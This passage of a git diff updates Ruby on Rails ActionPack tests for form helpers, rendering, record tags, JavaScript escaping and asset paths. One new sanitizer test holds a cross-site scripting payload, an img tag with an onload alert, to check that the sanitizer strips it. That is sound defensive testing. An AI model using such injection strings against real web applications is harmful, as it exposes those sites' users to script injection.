+ @post.comments << @comment
+
+ @post.tags = []
+ @post.tags << Tag.new
+
@blog_post = Blog::Post.new("And his name will be forty and four.", 44)
end
@@ -151,6 +165,40 @@ class FormHelperTest < ActionView::TestCase
I18n.locale = old_locale
end
+ def test_label_with_locales_and_nested_attributes
+ old_locale, I18n.locale = I18n.locale, :label
+ form_for(@post, :html => { :id => 'create-post' }) do |f|
+ f.fields_for(:comments) do |cf|
+ concat cf.label(:body)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post" , "edit_post", :method => "put") do
+ "<label for=\"post_comments_attributes_0_body\">Write body here</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
+ def test_label_with_locales_fallback_and_nested_attributes
+ old_locale, I18n.locale = I18n.locale, :label
+ form_for(@post, :html => { :id => 'create-post' }) do |f|
+ f.fields_for(:tags) do |cf|
+ concat cf.label(:value)
+ end
+ end
+
+ expected = whole_form("/posts/123", "create-post" , "edit_post", :method => "put") do
+ "<label for=\"post_tags_attributes_0_value\">Tag</label>"
+ end
+
+ assert_dom_equal expected, output_buffer
+ ensure
+ I18n.locale = old_locale
+ end
+
def test_label_with_for_attribute_as_symbol
assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, :for => "my_for"))
end
@@ -184,6 +232,10 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal('<label for="post_title">The title, please:</label>', label(:post, :title) { "The title, please:" })
end
+ def test_label_with_block_in_erb
+ assert_equal "<label for=\"post_message\">\n Message\n <input id=\"post_message\" name=\"post[message]\" size=\"30\" type=\"text\" />\n</label>", view.render("test/label_with_block")
+ end
+
def test_text_field
assert_dom_equal(
'<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title")
@@ -438,13 +490,17 @@ class FormHelperTest < ActionView::TestCase
end
def test_number_field
- expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
+ expected = %{<input name="order[quantity]" max="9" id="order_quantity" type="number" min="1" />}
assert_dom_equal(expected, number_field("order", "quantity", :in => 1...10))
+ expected = %{<input name="order[quantity]" size="30" max="9" id="order_quantity" type="number" min="1" />}
+ assert_dom_equal(expected, number_field("order", "quantity", :size => 30, :in => 1...10))
end
def test_range_input
- expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
+ expected = %{<input name="hifi[volume]" step="0.1" max="11" id="hifi_volume" type="range" min="0" />}
assert_dom_equal(expected, range_field("hifi", "volume", :in => 0..11, :step => 0.1))
+ expected = %{<input name="hifi[volume]" step="0.1" size="30" max="11" id="hifi_volume" type="range" min="0" />}
+ assert_dom_equal(expected, range_field("hifi", "volume", :size => 30, :in => 0..11, :step => 0.1))
end
def test_explicit_name
@@ -690,7 +746,7 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
- def test_form_for_with_isolated_namespaced_model
+ def test_form_for_with_model_using_relative_model_naming
form_for(@blog_post) do |f|
concat f.text_field :title
concat f.submit('Edit post')
@@ -698,8 +754,7 @@ class FormHelperTest < ActionView::TestCase
expected = whole_form("/posts/44", "edit_post_44" , "edit_post", :method => "put") do
"<input name='post[title]' size='30' type='text' id='post_title' value='And his name will be forty and four.' />" +
- "<input name='commit' type='submit' value='Edit post' />" +
- "</form>"
+ "<input name='commit' type='submit' value='Edit post' />"
end
assert_dom_equal expected, output_buffer
@@ -879,6 +934,82 @@ class FormHelperTest < ActionView::TestCase
assert_dom_equal expected, output_buffer
end
+ def test_form_for_with_namespace
+ form_for(@post, :namespace => 'namespace') do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.check_box(:secret)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'put') do
+ "<input name='post[title]' size='30' type='text' id='namespace_post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='namespace_post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+ "<input name='post[secret]' type='hidden' value='0' />" +
+ "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_namespace_with_label
+ form_for(@post, :namespace => 'namespace') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'put') do
+ "<label for='namespace_post_title'>Title</label>" +
+ "<input name='post[title]' size='30' type='text' id='namespace_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_two_form_for_with_namespace
+ form_for(@post, :namespace => 'namespace_1') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', 'put') do
+ "<label for='namespace_1_post_title'>Title</label>" +
+ "<input name='post[title]' size='30' type='text' id='namespace_1_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected_1, output_buffer
+
+ form_for(@post, :namespace => 'namespace_2') do |f|
+ concat f.label(:title)
+ concat f.text_field(:title)
+ end
+
+ expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', 'put') do
+ "<label for='namespace_2_post_title'>Title</label>" +
+ "<input name='post[title]' size='30' type='text' id='namespace_2_post_title' value='Hello World' />"
+ end
+
+ assert_dom_equal expected_2, output_buffer
+ end
+
+ def test_fields_for_with_namespace
+ @comment.body = 'Hello World'
+ form_for(@post, :namespace => 'namespace') do |f|
+ concat f.text_field(:title)
+ concat f.text_area(:body)
+ concat f.fields_for(@comment) { |c|
+ concat c.text_field(:body)
+ }
+ end
+
+ expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'put') do
+ "<input name='post[title]' size='30' type='text' id='namespace_post_title' value='Hello World' />" +
+ "<textarea name='post[body]' id='namespace_post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
+ "<input name='post[comment][body]' size='30' type='text' id='namespace_post_comment_body' value='Hello World' />"
+ end
+
+ assert_dom_equal expected, output_buffer
+ end
+
def test_submit_with_object_as_new_record_and_locale_strings
old_locale, I18n.locale = I18n.locale, :submit
@@ -1895,7 +2026,7 @@ class FormHelperTest < ActionView::TestCase
path = nil
form_for(@post, :builder => LabelledFormBuilder) do |f|
- path = f.to_path
+ path = f.to_partial_path
''
end
diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb
index 6aea991f7c..469718e1bd 100644
--- a/actionpack/test/template/form_options_helper_test.rb
+++ b/actionpack/test/template/form_options_helper_test.rb
@@ -587,6 +587,24 @@ class FormOptionsHelperTest < ActionView::TestCase
)
end
+ def test_empty
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>",
+ select("post", "category", [], :prompt => true, :include_blank => true)
+ )
+ end
+
+ def test_list_of_lists
+ @post = Post.new
+ @post.category = ""
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>",
+ select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true)
+ )
+ end
+
def test_select_with_selected_value
@post = Post.new
@post.category = "<mus>"
diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb
index 979251bfd1..233907d07a 100644
--- a/actionpack/test/template/form_tag_helper_test.rb
+++ b/actionpack/test/template/form_tag_helper_test.rb
@@ -2,6 +2,8 @@ require 'abstract_unit'
require 'active_support/core_ext/object/inclusion'
class FormTagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
tests ActionView::Helpers::FormTagHelper
def setup
@@ -104,14 +106,14 @@ class FormTagHelperTest < ActionView::TestCase
end
def test_form_tag_with_block_in_erb
- output_buffer = form_tag("http://www.example.com") { concat "Hello world!" }
+ output_buffer = render_erb("<%= form_tag('http://www.example.com') do %>Hello world!<% end %>")
expected = whole_form { "Hello world!" }
assert_dom_equal expected, output_buffer
end
def test_form_tag_with_block_and_method_in_erb
- output_buffer = form_tag("http://www.example.com", :method => :put) { concat "Hello world!" }
+ output_buffer = render_erb("<%= form_tag('http://www.example.com', :method => :put) do %>Hello world!<% end %>")
expected = whole_form("http://www.example.com", :method => "put") do
"Hello world!"
@@ -485,27 +487,57 @@ class FormTagHelperTest < ActionView::TestCase
end
def test_field_set_tag_in_erb
- output_buffer = field_set_tag("Your details") { concat "Hello world!" }
+ output_buffer = render_erb("<%= field_set_tag('Your details') do %>Hello world!<% end %>")
expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
- output_buffer = field_set_tag { concat "Hello world!" }
+ output_buffer = render_erb("<%= field_set_tag do %>Hello world!<% end %>")
expected = %(<fieldset>Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
- output_buffer = field_set_tag('') { concat "Hello world!" }
+ output_buffer = render_erb("<%= field_set_tag('') do %>Hello world!<% end %>")
expected = %(<fieldset>Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
- output_buffer = field_set_tag('', :class => 'format') { concat "Hello world!" }
+ output_buffer = render_erb("<%= field_set_tag('', :class => 'format') do %>Hello world!<% end %>")
expected = %(<fieldset class="format">Hello world!</fieldset>)
assert_dom_equal expected, output_buffer
end
+ def test_text_area_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ text_area_tag "body", "hello world", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_submit_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ submit_tag "submit value", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_button_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ button_tag "button value", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_image_submit_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ image_submit_tag "submit source", options
+ assert_equal options, { :option => "random_option" }
+ end
+
+ def test_image_label_tag_options_symbolize_keys_side_effects
+ options = { :option => "random_option" }
+ label_tag "submit source", "title", options
+ assert_equal options, { :option => "random_option" }
+ end
+
def protect_against_forgery?
false
end
diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionpack/test/template/html-scanner/sanitizer_test.rb
index 678cb9eeeb..62ad6be680 100644
--- a/actionpack/test/template/html-scanner/sanitizer_test.rb
+++ b/actionpack/test/template/html-scanner/sanitizer_test.rb
@@ -5,6 +5,13 @@ class SanitizerTest < ActionController::TestCase
@sanitizer = nil # used by assert_sanitizer
end
+ def test_strip_tags_with_quote
+ sanitizer = HTML::FullSanitizer.new
+ string = '<" <img src="trollface.gif" onload="alert(1)"> hi'
+
+ assert_equal ' hi', sanitizer.sanitize(string)
+ end
+
def test_strip_tags
sanitizer = HTML::FullSanitizer.new
assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html"))
diff --git a/actionpack/test/template/html-scanner/tag_node_test.rb b/actionpack/test/template/html-scanner/tag_node_test.rb
index 0d87f1bd42..3b72243e7d 100644
--- a/actionpack/test/template/html-scanner/tag_node_test.rb
+++ b/actionpack/test/template/html-scanner/tag_node_test.rb
@@ -55,7 +55,12 @@ class TagNodeTest < Test::Unit::TestCase
def test_to_s
node = tag("<a b=c d='f' g=\"h 'i'\" />")
- assert_equal %(<a b="c" d="f" g="h 'i'" />), node.to_s
+ node = node.to_s
+ assert node.include?('a')
+ assert node.include?('b="c"')
+ assert node.include?('d="f"')
+ assert node.include?('g="h')
+ assert node.include?('i')
end
def test_tag
diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb
index dd8b7b7cd5..4b9c3c97b1 100644
--- a/actionpack/test/template/javascript_helper_test.rb
+++ b/actionpack/test/template/javascript_helper_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'active_support/core_ext/string/encoding'
class JavaScriptHelperTest < ActionView::TestCase
tests ActionView::Helpers::JavaScriptHelper
@@ -27,6 +28,11 @@ class JavaScriptHelperTest < ActionView::TestCase
assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
+ if "ruby".encoding_aware?
+ assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding('UTF-8').encode!)
+ else
+ assert_equal %(unicode &#x2028; newline), escape_javascript(%(unicode \342\200\250 newline))
+ end
assert_equal %(dont <\\/close> tags), j(%(dont </close> tags))
end
diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionpack/test/template/log_subscriber_test.rb
index 50e1cccd3b..752b0f23a8 100644
--- a/actionpack/test/template/log_subscriber_test.rb
+++ b/actionpack/test/template/log_subscriber_test.rb
@@ -27,7 +27,7 @@ class AVLogSubscriberTest < ActiveSupport::TestCase
end
def test_render_file_template
- @view.render(:file => "test/hello_world.erb")
+ @view.render(:file => "test/hello_world")
wait
assert_equal 1, @logger.logged(:info).size
diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb
index 47b70f05ab..bac2530e3d 100644
--- a/actionpack/test/template/lookup_context_test.rb
+++ b/actionpack/test/template/lookup_context_test.rb
@@ -31,16 +31,6 @@ class LookupContextTest < ActiveSupport::TestCase
assert @lookup_context.formats.frozen?
end
- test "allows me to change some details to execute an specific block of code" do
- formats = Mime::SET
- @lookup_context.update_details(:locale => :pt) do
- assert_equal formats, @lookup_context.formats
- assert_equal :pt, @lookup_context.locale
- end
- assert_equal formats, @lookup_context.formats
- assert_equal :en, @lookup_context.locale
- end
-
test "provides getters and setters for formats" do
@lookup_context.formats = [:html]
assert_equal [:html], @lookup_context.formats
diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb
index 0e3475d98b..8d679aac1d 100644
--- a/actionpack/test/template/number_helper_test.rb
+++ b/actionpack/test/template/number_helper_test.rb
@@ -27,6 +27,7 @@ class NumberHelperTest < ActionView::TestCase
assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "}))
assert_equal("(800) 555-1212 x 123", number_to_phone(8005551212, {:area_code => true, :extension => 123}))
assert_equal("800-555-1212", number_to_phone(8005551212, :extension => " "))
+ assert_equal("555.1212", number_to_phone(5551212, :delimiter => '.'))
assert_equal("800-555-1212", number_to_phone("8005551212"))
assert_equal("+1-800-555-1212", number_to_phone(8005551212, :country_code => 1))
assert_equal("+18005551212", number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionpack/test/template/record_tag_helper_test.rb
index 1ba14e8bc9..ec777d15c4 100644
--- a/actionpack/test/template/record_tag_helper_test.rb
+++ b/actionpack/test/template/record_tag_helper_test.rb
@@ -4,15 +4,26 @@ require 'controller/fake_models'
class Post
extend ActiveModel::Naming
include ActiveModel::Conversion
+ attr_writer :id, :body
+
+ def initialize
+ @id = nil
+ @body = nil
+ super
+ end
+
def id
- 45
+ @id || 45
end
+
def body
- super || "What a wonderful world!"
+ super || @body || "What a wonderful world!"
end
end
class RecordTagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
tests ActionView::Helpers::RecordTagHelper
def setup
@@ -49,13 +60,41 @@ class RecordTagHelperTest < ActionView::TestCase
def test_block_works_with_content_tag_for_in_erb
expected = %(<tr class="post" id="post_45">#{@post.body}</tr>)
- actual = content_tag_for(:tr, @post) { concat @post.body }
+ actual = render_erb("<%= content_tag_for(:tr, @post) do %><%= @post.body %><% end %>")
assert_dom_equal expected, actual
end
def test_div_for_in_erb
expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
- actual = div_for(@post, :class => "bar") { concat @post.body }
+ actual = render_erb("<%= div_for(@post, :class => 'bar') do %><%= @post.body %><% end %>")
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_collection
+ post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true }
+ post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true }
+ expected = %(<li class="post" id="post_101">Hello!</li>\n<li class="post" id="post_102">World!</li>)
+ actual = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_div_for_collection
+ post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true }
+ post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true }
+ expected = %(<div class="post" id="post_101">Hello!</div>\n<div class="post" id="post_102">World!</div>)
+ actual = div_for([post_1, post_2]) { |post| concat post.body }
assert_dom_equal expected, actual
end
+
+ def test_content_tag_for_single_record_is_html_safe
+ result = div_for(@post, :class => "bar") { concat @post.body }
+ assert result.html_safe?
+ end
+
+ def test_content_tag_for_collection_is_html_safe
+ post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; post.persisted = true }
+ post_2 = Post.new.tap { |post| post.id = 102; post.body = "World!"; post.persisted = true }
+ result = content_tag_for(:li, [post_1, post_2]) { |post| concat post.body }
+ assert result.html_safe?
+ end
end
diff --git a/actionpack/test/template/render_test.rb b/actionpack/test/template/render_test.rb
index 0b91e55091..c29519276d 100644
--- a/actionpack/test/template/render_test.rb
+++ b/actionpack/test/template/render_test.rb
@@ -21,18 +21,48 @@ module RenderTestCases
end
def test_render_file
- assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", @view.render(:file => "test/hello_world")
end
def test_render_file_not_using_full_path
- assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb")
+ assert_equal "Hello world!", @view.render(:file => "test/hello_world")
end
def test_render_file_without_specific_extension
assert_equal "Hello world!", @view.render(:file => "test/hello_world")
end
- def test_render_file_with_localization
+ # Test if :formats, :locale etc. options are passed correctly to the resolvers.
+ def test_render_file_with_format
+ assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html])
+ assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml])
+ assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml)
+ end
+
+ def test_render_template_with_format
+ assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
+ assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
+ end
+
+ def test_render_file_with_locale
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
+ end
+
+ def test_render_template_with_locale
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
+ end
+
+ def test_render_file_with_handlers
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
+ end
+
+ def test_render_template_with_handlers
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
+ end
+
+ def test_render_file_with_localization_on_context_level
old_locale, @view.locale = @view.locale, :da
assert_equal "Hey verden", @view.render(:file => "test/hello_world")
ensure
@@ -51,17 +81,17 @@ module RenderTestCases
end
def test_render_file_with_full_path
- template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world.erb')
+ template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world')
assert_equal "Hello world!", @view.render(:file => template_path)
end
def test_render_file_with_instance_variables
- assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar.erb")
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar")
end
def test_render_file_with_locals
locals = { :secret => 'in the sauce' }
- assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals.erb", :locals => locals)
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals)
end
def test_render_file_not_using_full_path_with_dot_in_path
@@ -80,13 +110,18 @@ module RenderTestCases
assert_equal 'partial html', @view.render(:partial => 'test/partial')
end
+ def test_render_partial_with_selected_format
+ assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html)
+ assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js])
+ end
+
def test_render_partial_at_top_level
- # file fixtures/_top_level_partial_only.erb (not fixtures/test)
+ # file fixtures/_top_level_partial_only (not fixtures/test)
assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
end
def test_render_partial_with_format_at_top_level
- # file fixtures/_top_level_partial.html.erb (not fixtures/test, with format extension)
+ # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
end
@@ -107,6 +142,13 @@ module RenderTestCases
"and is followed by any combinations of letters, numbers, or underscores.", e.message
end
+ def test_render_partial_with_incompatible_object
+ @view.render(:partial => nil)
+ flunk "Render did not raise ArgumentError"
+ rescue ArgumentError => e
+ assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object that returns a valid partial path.", e.message
+ end
+
def test_render_partial_with_errors
@view.render(:partial => "test/raise")
flunk "Render did not raise Template::Error"
@@ -214,14 +256,14 @@ module RenderTestCases
end
def test_render_partial_using_object_with_deprecated_partial_path
- assert_deprecated(/#model_name.*#partial_path.*#to_path/) do
+ assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do
assert_equal "Hello: nertzy",
@controller_view.render(CustomerWithDeprecatedPartialPath.new("nertzy"), :greeting => "Hello")
end
end
def test_render_partial_using_collection_with_deprecated_partial_path
- assert_deprecated(/#model_name.*#partial_path.*#to_path/) do
+ assert_deprecated(/#model_name.*#partial_path.*#to_partial_path/) do
customers = [
CustomerWithDeprecatedPartialPath.new("nertzy"),
CustomerWithDeprecatedPartialPath.new("peeja")
@@ -245,7 +287,7 @@ module RenderTestCases
end
def test_render_layout_with_block_and_other_partial_inside
- render = @view.render(:layout => "test/layout_with_partial_and_yield.html.erb") { "Yield!" }
+ render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" }
assert_equal "Before\npartial html\nYield!\nAfter\n", render
end
@@ -282,24 +324,26 @@ module RenderTestCases
end
def test_render_ignores_templates_with_malformed_template_handlers
- %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
- assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+ ActiveSupport::Deprecation.silence do
+ %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+ assert_raise(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+ end
end
end
def test_render_with_layout
assert_equal %(<title></title>\nHello world!\n),
- @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield")
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield")
end
def test_render_with_layout_which_has_render_inline
assert_equal %(welcome\nHello world!\n),
- @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield_with_render_inline_inside")
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
end
def test_render_with_layout_which_renders_another_partial
assert_equal %(partial html\nHello world!\n),
- @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield_with_render_partial_inside")
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
end
def test_render_layout_with_block_and_yield
@@ -344,17 +388,17 @@ module RenderTestCases
def test_render_with_nested_layout
assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
- @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield")
+ @view.render(:file => "test/nested_layout", :layout => "layouts/yield")
end
def test_render_with_file_in_layout
assert_equal %(\n<title>title</title>\n\n),
- @view.render(:file => "test/layout_render_file.erb")
+ @view.render(:file => "test/layout_render_file")
end
def test_render_layout_with_object
assert_equal %(<title>David</title>),
- @view.render(:file => "test/layout_render_object.erb")
+ @view.render(:file => "test/layout_render_object")
end
end
@@ -380,7 +424,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase
# is not eager loaded
def setup
path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
- view_paths = ActionView::Base.process_view_paths(path)
+ view_paths = ActionView::PathSet.new([path])
assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
setup_view(view_paths)
end
@@ -392,7 +436,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase
if '1.9'.respond_to?(:force_encoding)
def test_render_utf8_template_with_magic_comment
with_external_encoding Encoding::ASCII_8BIT do
- result = @view.render(:file => "test/utf8_magic.html.erb", :layouts => "layouts/yield")
+ result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
assert_equal Encoding::UTF_8, result.encoding
assert_equal "\nРусский \nтекст\n\nUTF-8\nUTF-8\nUTF-8\n", result
end
@@ -400,7 +444,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase
def test_render_utf8_template_with_default_external_encoding
with_external_encoding Encoding::UTF_8 do
- result = @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield")
+ result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
assert_equal Encoding::UTF_8, result.encoding
assert_equal "Русский текст\n\nUTF-8\nUTF-8\nUTF-8\n", result
end
@@ -409,7 +453,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase
def test_render_utf8_template_with_incompatible_external_encoding
with_external_encoding Encoding::SHIFT_JIS do
begin
- @view.render(:file => "test/utf8.html.erb", :layouts => "layouts/yield")
+ @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
flunk 'Should have raised incompatible encoding error'
rescue ActionView::Template::Error => error
assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message
@@ -420,7 +464,7 @@ class LazyViewRenderTest < ActiveSupport::TestCase
def test_render_utf8_template_with_partial_with_incompatible_encoding
with_external_encoding Encoding::SHIFT_JIS do
begin
- @view.render(:file => "test/utf8_magic_with_bare_partial.html.erb", :layouts => "layouts/yield")
+ @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield")
flunk 'Should have raised incompatible encoding error'
rescue ActionView::Template::Error => error
assert_match 'Your template was not saved as valid Shift_JIS', error.original_exception.message
diff --git a/actionpack/test/template/sprockets_helper_test.rb b/actionpack/test/template/sprockets_helper_test.rb
index b9161b62c5..64fdd53e73 100644
--- a/actionpack/test/template/sprockets_helper_test.rb
+++ b/actionpack/test/template/sprockets_helper_test.rb
@@ -28,17 +28,40 @@ class SprocketsHelperTest < ActionView::TestCase
application = Struct.new(:config, :assets).new(config, @assets)
Rails.stubs(:application).returns(application)
@config = config
- @config.action_controller ||= ActiveSupport::InheritableOptions.new
@config.perform_caching = true
+ @config.assets.digest = true
+ @config.assets.compile = true
end
def url_for(*args)
"http://www.example.com"
end
+ def config
+ @controller ? @controller.config : @config
+ end
+
+ def compute_host(source, request, options = {})
+ raise "Should never get here"
+ end
+
test "asset_path" do
assert_match %r{/assets/logo-[0-9a-f]+.png},
asset_path("logo.png")
+ assert_match %r{/assets/logo-[0-9a-f]+.png},
+ asset_path("logo.png", :digest => true)
+ assert_match %r{/assets/logo.png},
+ asset_path("logo.png", :digest => false)
+ end
+
+ test "custom_asset_path" do
+ @config.assets.prefix = '/s'
+ assert_match %r{/s/logo-[0-9a-f]+.png},
+ asset_path("logo.png")
+ assert_match %r{/s/logo-[0-9a-f]+.png},
+ asset_path("logo.png", :digest => true)
+ assert_match %r{/s/logo.png},
+ asset_path("logo.png", :digest => false)
end
test "asset_path with root relative assets" do
@@ -59,8 +82,9 @@ class SprocketsHelperTest < ActionView::TestCase
end
test "with a simple asset host the url should default to protocol relative" do
+ @controller.config.default_asset_host_protocol = :relative
@controller.config.asset_host = "assets-%d.example.com"
- assert_match %r{//assets-\d.example.com/assets/logo-[0-9a-f]+.png},
+ assert_match %r{^//assets-\d.example.com/assets/logo-[0-9a-f]+.png},
asset_path("logo.png")
end
@@ -72,10 +96,11 @@ class SprocketsHelperTest < ActionView::TestCase
end
test "With a proc asset host that returns no protocol the url should be protocol relative" do
+ @controller.config.default_asset_host_protocol = :relative
@controller.config.asset_host = Proc.new do |asset|
"assets-999.example.com"
end
- assert_match %r{//assets-999.example.com/assets/logo-[0-9a-f]+.png},
+ assert_match %r{^//assets-999.example.com/assets/logo-[0-9a-f]+.png},
asset_path("logo.png")
end
@@ -97,20 +122,52 @@ class SprocketsHelperTest < ActionView::TestCase
end
test "stylesheets served without a controller in scope cannot access the request" do
- remove_instance_variable("@controller")
- @config.action_controller.asset_host = Proc.new do |asset, request|
+ @controller = nil
+ @config.asset_host = Proc.new do |asset, request|
fail "This should not have been called."
end
assert_raises ActionController::RoutingError do
asset_path("logo.png")
end
+ @config.asset_host = method :compute_host
+ assert_raises ActionController::RoutingError do
+ asset_path("logo.png")
+ end
+ end
+
+ test "image_tag" do
+ assert_dom_equal '<img alt="Xml" src="/assets/xml.png" />', image_tag("xml.png")
+ end
+
+ test "image_path" do
+ assert_match %r{/assets/logo-[0-9a-f]+.png},
+ image_path("logo.png")
+
+ assert_match %r{/assets/logo-[0-9a-f]+.png},
+ path_to_image("logo.png")
+ end
+
+ test "javascript_path" do
+ assert_match %r{/assets/application-[0-9a-f]+.js},
+ javascript_path("application.js")
+
